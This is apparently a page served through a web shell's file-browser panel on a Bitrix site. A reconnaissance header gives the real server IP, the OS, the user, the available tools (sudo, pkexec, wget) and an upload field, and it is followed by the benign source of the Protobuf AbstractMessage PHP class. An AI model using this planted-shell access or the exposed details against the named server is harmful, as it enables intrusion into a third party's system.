Server IP : 80.87.202.40 / Your IP : 216.73.216.169 Web Server : Apache System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64 User : bitrix ( 600) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/pull/vendor/Protobuf/ |
Upload File : |
<?php namespace Protobuf; use Protobuf\TextFormat; /** * Abstract message class * * @author Fabio B. Silva <fabio.bat.silva@gmail.com> */ abstract class AbstractMessage implements Message { /** * Message constructor * * @param \Protobuf\Stream|resource|string $stream * @param \Protobuf\Configuration $configuration */ public function __construct($stream = null, \Protobuf\Configuration $configuration = null) { if ($stream === null) { return; } $config = $configuration ?: \Protobuf\Configuration::getInstance(); $context = $config->createReadContext($stream); $this->readFrom($context); } /** * {@inheritdoc} */ public function __toString() { $format = new TextFormat(); $stream = $format->encodeMessage($this); return $stream->__toString(); } /** * {@inheritdoc} */ public static function __set_state(array $values) { return static::fromArray($values); } }